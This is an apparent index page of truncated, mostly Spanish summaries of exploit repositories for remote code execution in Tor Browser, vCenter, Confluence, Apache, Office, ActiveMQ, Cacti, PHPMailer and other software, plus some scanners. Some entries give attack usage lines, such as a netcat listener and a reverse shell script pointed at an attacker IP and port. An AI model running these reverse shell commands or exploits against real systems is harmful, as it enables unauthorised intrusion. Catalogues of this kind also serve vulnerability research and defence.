Tor-0day-JavaScript-Exploit

CVE-2024-9680 - Exploit 0day del Navegador TOR UAF Use-After-Free en Líneas de Tiempo de Animación - Vulnerabilidad de Ejecución Remota de Código Explotado activamente en la naturaleza dirigido a usuarios del Navegador Tor Ver Análisis • CVE Oficial Resumen Este repositorio contiene un análisis...

ezviz_lan_rce

ezvizlanrce This repository contains the slides and PoC videos for the talk SADProtocol goes to Hollywood which was presented at DEF CON 31 Hardware Hacking Village. You can also find the docker image to build binaries that run on the camera and the proof of concept exploits for CVE-2023-34551 an...

ezviz_lan_rce

ezvizlanrce Este repositorio contiene las diapositivas y los vídeos de prueba de concepto de la charla SADProtocol goes to Hollywood , presentada en DEF CON 31 Hardware Hacking Village. También puedes encontrar la imagen de docker para compilar binarios que se ejecutan en la cámara y los exploits...

CVE-2021-22006

CVE-2021-22005 - Subida de archivos a RCE en VMWare vCenter Server Analizar Uso ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b Author: r0cky...

CVE-2022-26134

CVE-2022-26134 - Vulnerabilidad de inyección OGNL: Script de prueba de concepto que explota la vulnerabilidad de ejecución remota de código que afecta a Atlassian Confluence 7.18 y versiones anteriores. La vulnerabilidad de inyección OGNL permite a un usuario no autenticado ejecutar código...

CVE-2024-7954-RCE

Description The porteplume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request. Exploit Proof of concept POST...

Next.js-RSC-RCE-Scanner-Burp-Suite-Extension

Next.js RSC RCE Scanner Extensión de Burp Suite Una extensión de Burp Suite de alta fidelidad para detectar la vulnerabilidad Ejecución remota de código en Next.js / React Server Components RSC CVE-2025-55182 y CVE-2025-66478. Esta extensión implementa la lógica de detección descubierta por el...

CVE-2024-7029

ES GenAvTechRCEExploit Un PoC para la vulnerabilidad CVE-2024-7029 encontrada en dispositivos AvTech, que permite la ejecución remota de código RCE. Esta herramienta puede escanear dispositivos vulnerables y ejecutar comandos en ellos de forma interactiva. Características Detección de...

CVE-2025-49619

PoC de CVE-2025-49619 Este script explota CVE-2025-49619 en Skyvern para ejecutar un comando de shell inversa. Autor Nombre: Cristian Branet GitHub: cristibtz Uso 1. Inicia un listener nc -lvnp 2. Ejecuta el exploit python3 exploit.py -u "http://:" -k "" -i -p : IP del servidor Skyvern : Puerto...

apache-activemq-rce-research

Apache ActiveMQ Classic — Investigación de RCE Archivo de investigación privado para la cadena de ejecución remota de código Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML CVE-2026-34197 y su evasión del parche CVE-2026-42588, además de una auditoría completa de...

STIG-Edge-RCE-CVE2025-9478

STIG – Microsoft Edge Chromium 139.0.3405.125 Ejecución Remota de Código CVE-2025-9478, Plugin ID: 258091 Antes Hallazgo: Microsoft Edge versión 139.0.3405.86 estaba desactualizado y era vulnerable a una falla crítica de Ejecución Remota de Código RCE CVE-2025-9478. Riesgo: Los atacantes podían...

CVE-2022-36804

CVE-2022-36804 RCE en Bitbucket 2022 Este repositorio es parte de hgrab-framework dork title: "Public Repositories - Bitbucket" Productos afectados - Bitbucket Server y Data Center 7.6 anteriores a 7.6.17 - Bitbucket Server y Data Center 7.17 anteriores a 7.17.10 - Bitbucket Server y Data Center...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner Escáner para detectar la vulnerabilidad de ejecución remota de código del servicio de cola de impresión de Windows CVE-2021-1675 Requisitos previos python3 python3 -m pip install -r Requirements.txt Uso python3 detectprintnightmare.py --help usage: detectprintnightmare.py -h...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 con CGI Uso : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT Más información: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 999...

CVE-2021-40444

PoC de CVE-2021-40444 Generador de docx malicioso para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word La creación de este script se basa en ingeniería inversa sobre la muestra utilizada en la naturaleza: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52...

CVE-2026-54984

CVE-2026-54984 Escritura fuera de los límites en el análisis de archivos ICC de Windows — ejecución remota de código Reportada a través de la Zero Day Initiative como ZDI-CAN-30441 , publicada como ZDI-26-543 y corregida por Microsoft en el ciclo de actualizaciones de agosto de 2026. Hola, soy...

CVE-2020-8813

CVE-2020-8813 El exploit oficial para la ejecución remota de código en Cacti v1.2.8 CVE-2020-8813 Cacti v1.2.8 Ejecución Remota de Código Pre-Autenticación Cacti v1.2.8 Ejecución Remota de Código Post-Autenticación...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Ejecución Remota de Código PHPMailer es la clase de transporte más popular del mundo, con aproximadamente 9 millones de usuarios en todo el mundo. Las descargas continúan a un ritmo significativo a diario. Utilizado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM,...

CVE-2019-17571

CVE-2019-17571/Apache Log4j 1.2.X tiene una vulnerabilidad de ejecución remota de código por deserialización Enlace de referencia del aviso de vulnerabilidad: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ 1. Descripción de la vulnerabilidad Apache Log4j es una herramienta de registro de códig...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-by-skdevils Título del Exploit: Pluck CMS 4.7.16 - Ejecución Remota de Código RCE Autenticado Fecha: 13.03.2022 Autor del Exploit: Ashish Koli Shikari Página del proveedor: https://github.com/pluck-cms/pluck Versión: 4.7.16 Probado en Ubuntu 20.04.3 LTS CVE: CVE-2022-26965...